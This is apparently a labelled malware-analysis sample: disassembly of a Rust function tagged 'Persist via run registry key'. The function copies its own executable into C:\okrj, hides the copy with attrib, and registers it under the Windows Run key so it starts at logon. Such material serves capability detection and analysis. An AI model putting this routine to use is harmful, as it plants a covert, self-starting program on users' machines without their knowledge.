Function at 0x1400026d0
Capabilities:
Persist via run registry key

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x278
movabs r12, 0x8000000000000000
mov byte [rsp + 0xe8], 1
lea rdx, str.C:_okrj
lea rcx, [rsp + 0xe8]
mov r8d, 7
call dbg._create
mov r14, rax
test rax, rax
jne 0x14000273a
lea rcx, [rsp + 0xe8]
call sym.std::env::current_exe::h7b4713fe7c2ea908
mov rsi, qword [rsp + 0xe8]
cmp rsi, r12
jne 0x1400027e8
mov r14, qword [rsp + 0xf0]
mov qword [rsp + 0xe8], r14
lea rcx, [rsp + 0xe8]
call sym.core::ptr::drop_in_place_std::io::error::Error_::hc2959b9cc3813fc5
lea rcx, [rsp + 0x88]
call sym.std::env::current_exe::h7b4713fe7c2ea908
mov rsi, qword [rsp + 0x88]
cmp rsi, r12
jne 0x1400027b3
lea rcx, [rsp + 0x90]
call sym.core::ptr::drop_in_place_std::io::error::Error_::hc2959b9cc3813fc5
lea rax, [0x1400a01c8]
mov qword [rsp + 0xe8], rax
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a0090]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::hc2959b9cc3813fc5
lea r8, [rsp + 0xe8]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140002818
mov rdi, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov rcx, rdi
call sym.std::path::Path::file_stem::h5db49ebe1309f9f3
test rax, rax
jne 0x14000281a
test rsi, rsi
je 0x140002776
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
jmp 0x140002776
mov rdi, qword [rsp + 0xf0]
mov r15, qword [rsp + 0xf8]
mov rcx, rdi
mov rdx, r15
call sym.std::path::Path::file_name::h540fc2b263400e3f
test rax, rax
jne 0x1400029c0
lea rcx, str.srcmain.rs
call sym.core::option::unwrap_failed::he3c2cd0918eb9f85
ud2
mov r8, rdx
lea rbx, [rsp + 0xc0]
mov rcx, rbx
mov rdx, rax
call sym.std::sys::os_str::wtf8::Slice::to_string_lossy::h54ebd581e1c4de6c
lea rax, [0x1400a0130]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], 8
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x1b0], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h7a90103f250ca372]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], rbx
lea rax, [sym.__alloc::borrow::Cow_B__as_core::fmt::Display_::fmt::hf8d2378627bf9882]
mov qword [rsp + 0x1c8], rax
lea rax, [0x1400a0140]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], 3
mov qword [rsp + 0x108], 0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 2
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0xe8]
call dbg.format_inner
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunokrj
lea rcx, [rsp + 0x50]
mov r8d, 0x2d
mov r9d, 0xf003f
call sym.winreg::RegKey::open_subkey_with_flags::hf0d1000fa85f4ec1
mov rbx, rdx
test rax, rax
jne 0x140002af6
mov qword [rsp + 0x1b0], rbx
lea rdx, [0x1400a019d]
lea rcx, [rsp + 0x1b0]
lea r9, [rsp + 0x30]
mov r8d, 4
call sym.winreg::RegKey::set_value::hd02d2425f2a94ef4
mov qword [rsp + 0xe8], rax
test rax, rax
je 0x14000295d
lea rcx, [rsp + 0xe8]
call sym.core::ptr::drop_in_place_std::io::error::Error_::hc2959b9cc3813fc5
lea rcx, [rsp + 0x1b0]
call sym.__winreg::RegKey_as_core::ops::drop::Drop_::drop::h4c95751713ba6123
lea rcx, [rsp + 0x50]
call sym.__winreg::RegKey_as_core::ops::drop::Drop_::drop::h4c95751713ba6123
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x14000298e
mov rcx, qword [rsp + 0x38]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xc0]
cmp rdx, r12
je 0x1400027d0
test rdx, rdx
je 0x1400027d0
mov rcx, qword [rsp + 0xc8]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x1400027d0
mov qword [rsp + 0x20], rdx
lea rdx, str.C:_okrj
lea rcx, [rsp + 0x30]
mov r8d, 7
mov r9, rax
call sym.std::path::Path::_join::he9bfec2e9d81dcf5
mov rbx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0xe8]
mov rdx, rdi
mov r8, r15
mov r9, rbx
call dbg.copy
cmp qword [rsp + 0xe8], 0
jne 0x140002ab7
lea rdx, str.attribhC:_okrj_.exe
lea rcx, [rsp + 0xe8]
mov r8d, 6
call sym.std::sys::pal::windows::process::Command::new::hdca0a03f28083bea
lea r15, [rsp + 0x1b0]
lea rdx, [rsp + 0xe8]
mov r8d, 0xc8
mov rcx, r15
call sym.memcpy
lea rdx, [0x1400a012e]
mov r8d, 2
mov rcx, r15
call dbg.arg
lea rdx, str.C:_okrj
lea rcx, [rsp + 0x1b0]
mov r8d, 7
call dbg.arg
lea rcx, [rsp + 0x88]
lea rdx, [rsp + 0x1b0]
call dbg.output
mov rax, qword [rsp + 0x88]
cmp rax, r12
jne 0x140002b6a
mov r14, qword [rsp + 0x90]
lea rcx, [rsp + 0x1b0]
call sym.core::ptr::drop_in_place_std::process::Command_::hbc1e46b9150f49cd
jmp 0x140002abf
mov r14, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140002ad7
mov r8d, 1
mov rcx, rbx
call sym.__rust_dealloc
test rsi, rsi
je 0x14000273a
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
jmp 0x14000273a
lea rcx, [rsp + 0x50]
call sym.__winreg::RegKey_as_core::ops::drop::Drop_::drop::h4c95751713ba6123
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140002b1a
mov rcx, qword [rsp + 0x38]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xc0]
cmp rdx, r12
je 0x140002b3f
test rdx, rdx
je 0x140002b3f
mov rcx, qword [rsp + 0xc8]
mov r8d, 1
call sym.__rust_dealloc
test rsi, rsi
je 0x140002b55
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
mov qword [rsp + 0xe8], rbx
lea rcx, [rsp + 0xe8]
jmp 0x140002771
mov rcx, qword [rsp + 0x90]
movups xmm0, xmmword [rsp + 0x98]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rsp + 0xa8]
movups xmmword [rsp + 0x70], xmm0
mov rdx, qword [rsp + 0xb8]
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x50]
call sym.core::ptr::drop_in_place_std::process::Output_::hb62e48e0eab104ff
lea rcx, [rsp + 0x1b0]
call sym.core::ptr::drop_in_place_std::process::Command_::hbc1e46b9150f49cd
lea rdx, str.attribhC:_okrj_.exe
lea rcx, [rsp + 0xe8]
mov r8d, 6
call sym.std::sys::pal::windows::process::Command::new::hdca0a03f28083bea
lea r15, [rsp + 0x1b0]
lea rdx, [rsp + 0xe8]
mov r8d, 0xc8
mov rcx, r15
call sym.memcpy
lea rdx, [0x1400a012e]
mov r8d, 2
mov rcx, r15
call dbg.arg
lea rcx, [rsp + 0x1b0]
mov rdx, rbx
mov r8, r14
call dbg.arg
lea rcx, [rsp + 0x88]
lea rdx, [rsp + 0x1b0]
call dbg.output
mov rax, qword [rsp + 0x88]
cmp rax, r12
jne 0x140002c59
mov r14, qword [rsp + 0x90]
lea rcx, [rsp + 0x1b0]
call sym.core::ptr::drop_in_place_std::process::Command_::hbc1e46b9150f49cd
jmp 0x140002abf
mov rcx, qword [rsp + 0x90]
movups xmm0, xmmword [rsp + 0x98]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rsp + 0xa8]
movups xmmword [rsp + 0x70], xmm0
mov rdx, qword [rsp + 0xb8]
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x50]
call sym.core::ptr::drop_in_place_std::process::Output_::hb62e48e0eab104ff
lea rcx, [rsp + 0x1b0]
call sym.core::ptr::drop_in_place_std::process::Command_::hbc1e46b9150f49cd
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140002cc4
mov r8d, 1
mov rcx, rbx
call sym.__rust_dealloc
test rsi, rsi
je 0x14000274f
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
jmp 0x14000274f